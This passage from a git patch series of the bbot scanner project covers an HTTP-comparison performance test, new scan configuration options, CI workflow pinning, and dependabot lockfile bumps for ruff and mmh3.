min(timed(6400, 1600) for _ in range(3)) + + # 4x the input. Linear would be ~4x; the quadratic behaviour was ~16x. + assert large < small * 8, f"4x the body took {large / small:.1f}x the time ({small:.3f}s -> {large:.3f}s)" + + @pytest.mark.asyncio + async def test_baseline_body_parsing_runs_off_the_event_loop(self, bbot_scanner, blasthttp_mock): + """Parsing and diffing two full bodies is CPU-bound; it must not run on the event loop. + + A comparison holds the GIL for its whole duration, so doing it inline + stalls every module in the scan. + """ + scan = bbot_scanner() + await scan._prep() + blasthttp_mock.add_response(url=re.compile(r"http://cost\.example\.com.*"), text=render()) + + executor_calls = [] + original = scan.helpers.run_in_executor_cpu + + def recording_executor(callback, *args, **kwargs): + executor_calls.append(getattr(callback, "__name__", repr(callback))) + return original(callback, *args, **kwargs) + + scan.helpers.run_in_executor_cpu = recording_executor + + comparer = scan.helpers.http_compare("http://cost.example.com") + await comparer._baseline() + + assert "_baseline_bodies" in executor_calls, f"baseline parsing ran on the event loop: {executor_calls}" + assert isinstance(comparer.baseline_body, _LineBody) + + await scan._cleanup() From 1dd5448781b863eb09f800cde3f8b5afcf30b78e Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Fri, 2 Oct 2026 13:32:21 -0400 Subject: [PATCH 120/256] [create-pull-request] automated change (#3482) --- docs/scanning/configuration.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index fe4bcf83df..af42fc6be0 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -257,6 +257,8 @@ python: True url_querystring_remove: True # When query string is retained, by default collapse parameter values down to a single value per parameter url_querystring_collapse: True +# Reject URLs whose path repeats the same path parameter this many times (e.g. a session id appended on every redirect) +url_max_path_param_repeats: 10 # Completely ignore URLs with these extensions url_extension_blacklist: @@ -512,6 +514,7 @@ In addition to the stated options for each module, the following universal optio | modules.lightfuzz.emit_baseline_responses | bool | Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs. | True | | modules.lightfuzz.enabled_submodules | list[str] | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'] | | modules.lightfuzz.force_common_headers | bool | Force emit commonly exploitable parameters that may be difficult to detect | False | +| modules.lightfuzz.max_baseline_generations | int | Stop emitting baseline responses once a parameter is this many lightfuzz generations deep, bounding excavate feedback loops. | 10 | | modules.lightfuzz.try_get_as_post | bool | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing). | False | | modules.lightfuzz.try_post_as_get | bool | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing). | False | | modules.medusa.snmp_versions | list[str] | List of SNMP versions to attempt against the SNMP server (default ['1', '2C']) | ['1', '2C'] | From da1397aa790242e931a410391d83f05df6ba993f Mon Sep 17 00:00:00 2001 From: Shane Engelman Date: Sat, 3 Oct 2026 00:34:59 -0700 Subject: [PATCH 121/256] ci: pin the test-matrix runner and the CLA workflow ref (#3483) #3356 added the test-matrix job after #3456 pinned every runner, so it came in on ubuntu-latest. cla.yml calls the reusable CLA workflow at @main, a branch ref that runs whatever lands there with our token. Pin the runner to ubuntu-24.04 and the ref to the current CLA main commit, dated because CLA publishes no tags. `grep -nE 'runs-on: ubuntu-latest|uses: [^ ]+@(stable|latest|main)\b' .github/workflows/*.yml` listed both lines before and returns nothing after. Part of blacklanternsecurity/bbot-enterprise#149. --- .github/workflows/cla.yml | 2 +- .github/workflows/tests.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml index 1a832b39d2..97de6281c5 100644 --- a/.github/workflows/cla.yml +++ b/.github/workflows/cla.yml @@ -12,5 +12,5 @@ permissions: jobs: cla: name: check the CLA is signed - uses: blacklanternsecurity/CLA/.github/workflows/cla-reusable.yml@main + uses: blacklanternsecurity/CLA/.github/workflows/cla-reusable.yml@4f85d3c525483f0f846ef4384a8ece24a3c74375 # 2026-09-29 secrets: inherit diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index c8f37f2cc3..94353ca2e7 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -56,7 +56,7 @@ jobs: name: test matrix passed if: always() needs: [test] - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - name: Fail unless every dependency succeeded uses: re-actors/alls-green@05ac9388f0aebcb5727afa17fcccfecd6f8ec5fe # v1.2.2 From 97300d5f39b62b8ffba5347b7e3eaf3bef19b62f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 5 Oct 2026 11:09:02 -0400 Subject: [PATCH 122/256] Bump ruff from 0.16.8 to 0.16.9 (#3492) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.16.8 to 0.16.9. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.8...0.16.9) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.16.9 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 37597ba560..8f11df79a9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -82,7 +82,7 @@ dev = [ "pytest-benchmark>=4,<6", "pytest-xdist>=3.6,<4", "baddns~=2.4.1", - "ruff==0.16.8", + "ruff==0.16.9", "maturin>=1.4,<2", ] docs = [ diff --git a/uv.lock b/uv.lock index e615acf231..9f0f18f048 100644 --- a/uv.lock +++ b/uv.lock @@ -315,7 +315,7 @@ dev = [ { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "pytest-xdist", specifier = ">=3.6,<4" }, - { name = "ruff", specifier = "==0.16.8" }, + { name = "ruff", specifier = "==0.16.9" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.54" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -2904,27 +2904,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.16.8" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ba/78/449cb84790bd5cc3823b2652ee405a4558856e5c4195aee3a16bf7b3eb5d/ruff-0.16.8.tar.gz", hash = "sha256:9247bf92b5f04d825c8639a4fe423ec2e4222acd9222e58412b0dab7e442798b", size = 4938814, upload-time = "2026-09-16T15:54:46.688Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ac/25/6071aabc530e9be7e2c195e8fe3f7aea2735405b6cf447212832d7811831/ruff-0.16.8-py3-none-linux_armv6l.whl", hash = "sha256:6ffbd6d87383c1edf5f6fa890f10200950240d7c1a16052a19a09d3a2307dd38", size = 10048966, upload-time = "2026-09-16T15:53:57.605Z" }, - { url = "https://files.pythonhosted.org/packages/54/98/07f90ecbc74dd5fb5764f11f2bc774d6a7cffef92d2ff5f5b4e9e23c754e/ruff-0.16.8-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:42ed6b878ed61e3acca92f2730a17acff39286944ea82398544696366a6f925e", size = 10165498, upload-time = "2026-09-16T15:54:01.14Z" }, - { url = "https://files.pythonhosted.org/packages/fe/1f/e6a712e3b47cad4a40600134105ed193cb773f618a42eb7ba323cb812cc0/ruff-0.16.8-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7ea781c7f2afba8c6a505ea0fb3f994020249e0c450635f5381286fea6b46170", size = 9830004, upload-time = "2026-09-16T15:54:03.998Z" }, - { url = "https://files.pythonhosted.org/packages/23/f2/311a08776d75d81c7676e20b6b020ae63cbe881fcdc7a8dd64e6e18bdd93/ruff-0.16.8-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8efeae3bbe414a5efefda11a792dfb51ef90ac48d50c4830de2f644caf3e8659", size = 9986558, upload-time = "2026-09-16T15:54:06.804Z" }, - { url = "https://files.pythonhosted.org/packages/f3/ed/37b6cb3d3ba8c73e68ae3eb1d502383beb5aa05a582bb7bb3a922f929f54/ruff-0.16.8-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a79b795469fef7fc6e908b218eed2eb17332afd85031db6480dc864560e69b2", size = 9877332, upload-time = "2026-09-16T15:54:09.552Z" }, - { url = "https://files.pythonhosted.org/packages/22/cc/40873a8f36ad084cc540d55fcca7077264d5b13b24659e9180c176fb2b08/ruff-0.16.8-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3fdc5563cdc50555e6fba39322850860e9267c1b3d12c26a74729d8604c3c812", size = 10507125, upload-time = "2026-09-16T15:54:12.152Z" }, - { url = "https://files.pythonhosted.org/packages/c3/e4/fc91a642b78ccbab6b9477720f3644ae7a10a9bcce69a934679cd64f62bc/ruff-0.16.8-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:34508983c70665578dab88f5223d8e6228307e1135398ca8bfc8b7e9501e282b", size = 11336694, upload-time = "2026-09-16T15:54:15.489Z" }, - { url = "https://files.pythonhosted.org/packages/c2/3d/bbd2a9a600a4e73dc3e7548a249c8d1671273464b55822c6fae50f602dff/ruff-0.16.8-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:644bb578569e0ffc575741232bd385dacdd6fbe123f1a729e7a225f54aa3957f", size = 10774448, upload-time = "2026-09-16T15:54:18.16Z" }, - { url = "https://files.pythonhosted.org/packages/1a/41/d83af9879a7b6e8bf5fe16b1da0b134049d2f5d3afac12defb0897cb84bd/ruff-0.16.8-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15e7d226246961db9235098333caa13063906d3851136b84c2900b82f5daa1df", size = 10323796, upload-time = "2026-09-16T15:54:20.743Z" }, - { url = "https://files.pythonhosted.org/packages/f5/2c/cefd07bfe914b84943ea769ade8d607bd22750b965d3228eefd7cebd15d0/ruff-0.16.8-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a2bf6bc3e9ebdd4449abc6f06cf64b98051a2c61cf94d2fe9596518c881f1a1e", size = 10514115, upload-time = "2026-09-16T15:54:23.497Z" }, - { url = "https://files.pythonhosted.org/packages/f3/9d/76a2e26c79a23be6e6e3664c57bec9e9fc8de155cfb9e4b67ea91b64f9d7/ruff-0.16.8-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6ca111ba0849539165e9e59d2b442542f3c1e8060ebbdea82494f1ffbccb1e1f", size = 10072582, upload-time = "2026-09-16T15:54:26.185Z" }, - { url = "https://files.pythonhosted.org/packages/2e/d4/f42edddb39668af1a559ceafa3823aedd65633a48dc9768e775485faa2c1/ruff-0.16.8-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:359a1e5b495448ee1e91018064382ebc86f90e8aac2fed222c7d0e4e8df85fd2", size = 9879644, upload-time = "2026-09-16T15:54:29.278Z" }, - { url = "https://files.pythonhosted.org/packages/f8/d4/913e3195d95e0378786c6656945c865f534a3560e29139da4882aff630d1/ruff-0.16.8-py3-none-musllinux_1_2_i686.whl", hash = "sha256:59e8f5681349474110b24d62e93cfda6593f5fa3473446ca3705200cac1a08b9", size = 10231569, upload-time = "2026-09-16T15:54:32.036Z" }, - { url = "https://files.pythonhosted.org/packages/2b/c4/8aa6ea0bdcedbd1bf87397e2fc4ed8406448ea5842f8660bc6e5f163039d/ruff-0.16.8-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:efa3e7a16d1baaa79957888dfdf8be9ef2e44db81cb032af06d76632ab59e773", size = 10663666, upload-time = "2026-09-16T15:54:34.838Z" }, - { url = "https://files.pythonhosted.org/packages/3d/02/7f10ef4700bc223c30a3fdd10631a29830c45524b810a3c7ed947af64591/ruff-0.16.8-py3-none-win32.whl", hash = "sha256:55793ba85c69921e89be061426d91a78652d6e50317c962240922747a4eb713f", size = 10093472, upload-time = "2026-09-16T15:54:37.47Z" }, - { url = "https://files.pythonhosted.org/packages/1e/5d/a509c07d714b6da88f2c518b4637cf6f1d46b074be8f0f1e5fb9ff5126fe/ruff-0.16.8-py3-none-win_amd64.whl", hash = "sha256:a6b85621fd3c81e31fc5f5add09c9c078b430db3595ca632efafdec9e64ebfaa", size = 10586899, upload-time = "2026-09-16T15:54:40.488Z" }, - { url = "https://files.pythonhosted.org/packages/fe/a0/50787329e4f20bf9dc9f6230015d46ec69c51a97ace5bc202dae4755365d/ruff-0.16.8-py3-none-win_arm64.whl", hash = "sha256:d075e820af612102ce217f07cc93e69f9490b10ec13ea85fa87bd03d996cef8a", size = 10386316, upload-time = "2026-09-16T15:54:43.332Z" }, +version = "0.16.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/96/bf/c935ca98e73fe8ce65b87ef08a280c0c1e85295d569228c15e87d8fdfaf1/ruff-0.16.9.tar.gz", hash = "sha256:12b625c6cfba78d285d9f48eda5f053374f1e53cb10ef17342a383750db99161", size = 4948764, upload-time = "2026-09-24T20:37:49.416Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0d/26/df51322b52ee1ada7eff2d071ea09d11d5c2d1dcc9f02594f5785c4d1635/ruff-0.16.9-py3-none-linux_armv6l.whl", hash = "sha256:95e6f022090368ab3b824c36276839c53b2adf1a3f4c09fefc33dfc400f6da96", size = 10082922, upload-time = "2026-09-24T20:37:13.045Z" }, + { url = "https://files.pythonhosted.org/packages/a5/27/7bf51f5a7aa375e9f339280a303aab44ca75dc1525f1cdc5991761685b0f/ruff-0.16.9-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a5f27be168556594a86d2f415db0cf43f5291917849318f873c7e2791f7a8c67", size = 10236360, upload-time = "2026-09-24T20:37:16.049Z" }, + { url = "https://files.pythonhosted.org/packages/b6/63/09659283f92f02dff45809da194a70da2f688d87c55d8875c4fae3536072/ruff-0.16.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1632eb1d6197f33bd00b1acbc5b71009e89a8895c158e2d2b03a834fac964ab6", size = 9892940, upload-time = "2026-09-24T20:37:17.957Z" }, + { url = "https://files.pythonhosted.org/packages/24/58/98de1b72ec172f5f8f1731236fe21585b3998bf7dfe9fcc44ae9ba626012/ruff-0.16.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3f951b14d865d5952c89d40a5ca07e87abe24fa5453299878411e127748fb1c", size = 10032114, upload-time = "2026-09-24T20:37:19.942Z" }, + { url = "https://files.pythonhosted.org/packages/c8/7d/f1e17c54ab59d4bad1dce8ee3e22a7a1d0ef4745240decacdcf3832b5bb2/ruff-0.16.9-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:447fc07e1573afff7cb02803462b12b6c8ece7cf10e2cd78565fa6d7a1c0bf8d", size = 9910227, upload-time = "2026-09-24T20:37:21.872Z" }, + { url = "https://files.pythonhosted.org/packages/34/19/436f647a65075bbd3bab2668b3bdaa5120559b294694018cdcefabbbf30b/ruff-0.16.9-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a3e039a6a40ed976c491722b60e0ae4a4aa1a86057f540ee7a37a5d19ae9120", size = 10547484, upload-time = "2026-09-24T20:37:24.229Z" }, + { url = "https://files.pythonhosted.org/packages/03/59/38430a6bc2f6d8095447ac39625cf8b6e9344a47e6c26225c8ba1bff3ffb/ruff-0.16.9-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4684dded7db60aa57cb118fa158630f5feade4af5782903b6053484bdf9bd129", size = 11412367, upload-time = "2026-09-24T20:37:26.307Z" }, + { url = "https://files.pythonhosted.org/packages/c8/bd/bbb6d7fc7f208c8b8c50dd5dc8206e4cfdb1e7a8fb852606a3adf370c880/ruff-0.16.9-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d29c934357e45642fda2f34c0b1f4025b4a6c01e15e4bf0016879d60078a142c", size = 10869787, upload-time = "2026-09-24T20:37:28.35Z" }, + { url = "https://files.pythonhosted.org/packages/bc/b8/9c543074918061abbefc3bd139bee22de35abedb00dde0f2d27288838962/ruff-0.16.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a21713e629d3e5bdb2f5c2def1cc7f04f47fa8e1a7eb0571b4a28e1da64bc728", size = 10406494, upload-time = "2026-09-24T20:37:30.624Z" }, + { url = "https://files.pythonhosted.org/packages/35/7a/5a8851bd146e7ccf8fd4b003f6c75c11f8fbdb0e60673b45097986b6bf41/ruff-0.16.9-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:7baa24ef5fc8e77aa93879e1d3f43754a01ae488e869f1ae30cf431afd4d2452", size = 10590083, upload-time = "2026-09-24T20:37:32.439Z" }, + { url = "https://files.pythonhosted.org/packages/87/f0/4c3467188f23f806960b46fa76575a7cd0514c9ba90562650b71efc96980/ruff-0.16.9-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a41aac6230aadfaa133bdfa1614488531ffa3e0837567ae04c0da2058a9c0f9e", size = 10119151, upload-time = "2026-09-24T20:37:34.581Z" }, + { url = "https://files.pythonhosted.org/packages/15/34/5a4def5adea572ce6aea0bb64f21f928ee317b80e0db747d7979b01d7261/ruff-0.16.9-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:c2529fb5896d49115b0e9aa8f887490b34bbe76baf879ec2264ac59406869ce7", size = 9911544, upload-time = "2026-09-24T20:37:36.796Z" }, + { url = "https://files.pythonhosted.org/packages/62/5d/d15ebea7499eef9373318c0ee6ca127832927c6529731f6d48e18dce7ca9/ruff-0.16.9-py3-none-musllinux_1_2_i686.whl", hash = "sha256:41e3870277694177429b56406d65dfbdb2c2802c52b715edaf6a0b829c69d4ee", size = 10269884, upload-time = "2026-09-24T20:37:38.857Z" }, + { url = "https://files.pythonhosted.org/packages/d1/56/c5d3cd119ded7a3c7aba0e961b69cb3df701c91662c98ad694467d060ce1/ruff-0.16.9-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:8adbe4e58af167f767d7b2ba5e83c42e878350796cf78c2f5e14ab9903a92588", size = 10749366, upload-time = "2026-09-24T20:37:41.042Z" }, + { url = "https://files.pythonhosted.org/packages/ac/fe/734ec7527029ac757ecf821f143c9f3fcf69149c21f53a044a899b430f5a/ruff-0.16.9-py3-none-win32.whl", hash = "sha256:0e1dbc2073624dee6618d41d0098690a7244654af746704b64759e12b6b6b385", size = 10152355, upload-time = "2026-09-24T20:37:43.025Z" }, + { url = "https://files.pythonhosted.org/packages/14/21/26e4643629b3ebb44f0a06f9c9a53058d63d989415f63a9a3c28e2ee7f22/ruff-0.16.9-py3-none-win_amd64.whl", hash = "sha256:6bd40fec8cd4c8a3d4dd589bd8ad4e6320c13c29234159bfd959a40d529d597b", size = 10592965, upload-time = "2026-09-24T20:37:44.944Z" }, + { url = "https://files.pythonhosted.org/packages/51/60/5fb1a39dbb5ae314d5f59bc7348a63c1d5c20f3cd83914c4b5cb0be31d2d/ruff-0.16.9-py3-none-win_arm64.whl", hash = "sha256:ed1a252039200f57a59eebc063b54beabea67bfbaaca0eeaa7f54b5fbcda2284", size = 10458649, upload-time = "2026-09-24T20:37:46.882Z" }, ] [[package]] From cb03f2de1ad0085244cf3d71e781401f222af5a3 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 5 Oct 2026 12:00:29 -0400 Subject: [PATCH 123/256] Bump mmh3 from 5.3.0 to 5.3.1 (#3488) Bumps [mmh3](https://github.com/hajimes/mmh3) from 5.3.0 to 5.3.1. - [Release notes](https://github.com/hajimes/mmh3/releases) - [Changelog](https://github.com/hajimes/mmh3/blob/master/CHANGELOG.md) - [Commits](https://github.com/hajimes/mmh3/compare/v5.3.0...v5.3.1) --- updated-dependencies: - dependency-name: mmh3 dependency-version: 5.3.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 232 +++++++++++++++++++++++++++++--------------------------- 1 file changed, 122 insertions(+), 110 deletions(-) diff --git a/uv.lock b/uv.lock index 9f0f18f048..fb76e739e8 100644 --- a/uv.lock +++ b/uv.lock @@ -1762,116 +1762,128 @@ wheels = [ [[package]] name = "mmh3" -version = "5.3.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/aa/69/d00269fee7a3102fcc0f04f0a312e41c6b237762bdcad4c19426f18e697c/mmh3-5.3.0.tar.gz", hash = "sha256:95832419b87b882bec9dcd7d041d74887ba7745b3659c14be1ae1db5cfa35cad", size = 33607, upload-time = "2026-08-26T04:58:20.042Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/91/c2/832363657484efece490fc1b8218a9aa0e1350b296b3e8b55ccdd27799f3/mmh3-5.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0d8deb73a11a7b41bb831bc1c40fb9a70d9993d96dbfe82c0d3c6fb3acbe14ea", size = 55484, upload-time = "2026-08-26T04:55:36.048Z" }, - { url = "https://files.pythonhosted.org/packages/cb/2c/5292fff800e829622a0e0ed995cf77e2b3facbb994f7f6c70fbeba7c02a9/mmh3-5.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:67be681c7024df71c5d38c976b8d38c5998a17058533fc4eca6599b730d73b3a", size = 40077, upload-time = "2026-08-26T04:55:37.454Z" }, - { url = "https://files.pythonhosted.org/packages/71/44/e81837bf0704347b936e44714eae0b3681aaee4f935fe8b20d48d6370449/mmh3-5.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6be479b31ba2f4f86f886060cff1e640facc7f22d266d960b0ca41a9bf2690ef", size = 39716, upload-time = "2026-08-26T04:55:38.44Z" }, - { url = "https://files.pythonhosted.org/packages/3e/51/cfb9395d924361898db9ddd42cfed6e9652eb9629b631ea6b739f1a33ce3/mmh3-5.3.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:97206d90a8c68079525f9c4f64e94699927ceb01569b4a4da1c798c758abcf47", size = 95253, upload-time = "2026-08-26T04:55:39.438Z" }, - { url = "https://files.pythonhosted.org/packages/e5/2b/8c7400a305c7f7180bf72476473decd15db7ad93f1283dc80177659ac433/mmh3-5.3.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:bd044cff158529364124210044fec4f1b0a13219fb6e8b9e393384458bb753fc", size = 101127, upload-time = "2026-08-26T04:55:40.617Z" }, - { url = "https://files.pythonhosted.org/packages/9f/71/b3ec99f5fe658488d84187c52af76fa77adf7882eac6a11ac3322dea6693/mmh3-5.3.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d6f6a61516c4caa5413bd71e635039976224ccc56e82e3eb4a1df3eb5e370a28", size = 103924, upload-time = "2026-08-26T04:55:41.907Z" }, - { url = "https://files.pythonhosted.org/packages/46/2c/c81fcbb47819602ef6985eac08a2ed95dafa7f7d3167e8bda494ea7b991a/mmh3-5.3.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:25743ca117f8fdb707952c55fd86a03457e99036c9bcd22e6d5f9dbd0d80dc7a", size = 110808, upload-time = "2026-08-26T04:55:43.016Z" }, - { url = "https://files.pythonhosted.org/packages/68/8b/a2de474c7edfc8318fd3b8048a5e200b0d43ce37e50612458fb02cf1fc46/mmh3-5.3.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2ff91eadc4301f12ca6b46eaef21937348ed35a4789803fd92df5a2c044fdb3f", size = 118198, upload-time = "2026-08-26T04:55:44.149Z" }, - { url = "https://files.pythonhosted.org/packages/20/0a/f3559646e2c1b60b1b0588a3310889f964a0efcd3cf521da243db0bfa652/mmh3-5.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b8e62fec0ca6a14d8e47cde788be90237b089ef9cf46628dafcd5bb1bd64a219", size = 101630, upload-time = "2026-08-26T04:55:45.215Z" }, - { url = "https://files.pythonhosted.org/packages/3e/06/1e7ae758acd44865a528116cf259479e31195f6eaf15bde41e44867c8d62/mmh3-5.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8404f75bd1f23c2a806d8e61c95845969f9e256a91d8cdc07fdecde9a39b88b2", size = 96607, upload-time = "2026-08-26T04:55:46.27Z" }, - { url = "https://files.pythonhosted.org/packages/e0/77/bd0c254f7ab1582661a9341dc6e076e25a471fd3a05b6bcaaa00244a6d6d/mmh3-5.3.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c260e150268c47a51b5dc7c2d907ca2a18ecc9a1dabebd62da427342fa6923b6", size = 110216, upload-time = "2026-08-26T04:55:47.386Z" }, - { url = "https://files.pythonhosted.org/packages/6a/71/fed7519e651b88f01dfbea1b02d4b06fc840f96b534c600f57ce69fd05cb/mmh3-5.3.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:1d5cd932e6e44762e393570299d50c719c91f3610e33da4bc82578bcdd039c29", size = 111779, upload-time = "2026-08-26T04:55:48.67Z" }, - { url = "https://files.pythonhosted.org/packages/dd/6f/07be9498cde2f619caa77aec36691dbfe853dc680e778496afa978400e51/mmh3-5.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:381e2f183ebf25ac91c73e5d1b44b1676b287062fc9732d63bd05fb35bacb2b1", size = 100013, upload-time = "2026-08-26T04:55:49.775Z" }, - { url = "https://files.pythonhosted.org/packages/51/41/8ad9289cdc1e426d3794df9e2d09bfb92043fbac6642bac8361f167a97e4/mmh3-5.3.0-cp310-cp310-win32.whl", hash = "sha256:e4e32e99c3f56f4e4766bd86f0d14f32590098240bce76df2452a8caecf7cdac", size = 40446, upload-time = "2026-08-26T04:55:51.068Z" }, - { url = "https://files.pythonhosted.org/packages/c4/7d/3c551934eadb6ff6daa812ec65d95ddd4b2c40990c01b704eca554bde209/mmh3-5.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:4770ee0d719be9edc3849a231fc29fde75bfab6cf234b79733ed35cb7cf901f7", size = 41833, upload-time = "2026-08-26T04:55:51.996Z" }, - { url = "https://files.pythonhosted.org/packages/29/4d/21e470747dbf05a6b73a90196725d272328d1dfffb5686985c79dff0e824/mmh3-5.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:2d58d876bfeb587cd95c9e00e31cd7d2737cb31e6ca83dbcba445667c4403ac3", size = 39182, upload-time = "2026-08-26T04:55:53.004Z" }, - { url = "https://files.pythonhosted.org/packages/d7/30/e954812b018e3967ff308a8b118465836b217796ba607e40b1743d7e89a4/mmh3-5.3.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d04df504ac8c214eb5e0c9ef640ebe97c539c4a32a94603e9c7aea595aeba688", size = 55482, upload-time = "2026-08-26T04:55:54.129Z" }, - { url = "https://files.pythonhosted.org/packages/36/1f/590c4cabd7488f6ed40e3b63ac30deec422e984a14502ddd23e585b525e2/mmh3-5.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:592e561f01e670699126207ac05b0cfa068af110adf95c7a8317615cdd9345d8", size = 40074, upload-time = "2026-08-26T04:55:55.222Z" }, - { url = "https://files.pythonhosted.org/packages/5d/ac/3d8675e976068cdc91f8a0beba5cda102cda7fef87dbb8a13d27d327513a/mmh3-5.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e90bf1e025fee24edbba0b1459624d46ef9208d3d479cd13fae799d26f1609b4", size = 39716, upload-time = "2026-08-26T04:55:56.212Z" }, - { url = "https://files.pythonhosted.org/packages/c5/2a/090225e40fe1e94dc685665e25e1c8c578d87a335fdf467e7250ab0d61a7/mmh3-5.3.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:83537149cfeff3d960758a2e5db9894f6207d83750858b4e1ec249849d864edb", size = 97164, upload-time = "2026-08-26T04:55:57.519Z" }, - { url = "https://files.pythonhosted.org/packages/28/72/25cdb414d1f77198bbc477a6fe44f8b9bc02eda5ef0c048e1acbd8383f73/mmh3-5.3.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:231fa0e3e9f9d02f46b19c2fd5bba4d61db4415f06f450b9f0bcb82a69be6f48", size = 102990, upload-time = "2026-08-26T04:55:58.744Z" }, - { url = "https://files.pythonhosted.org/packages/6d/1a/168493efccc0a901ebd3a825102f676e7f0a3e7b2ab2e926d85734fdda7f/mmh3-5.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:be154e808cce4259aec43e3097599d8986f39963cf300fba1b414eb1c3137e1d", size = 106005, upload-time = "2026-08-26T04:55:59.929Z" }, - { url = 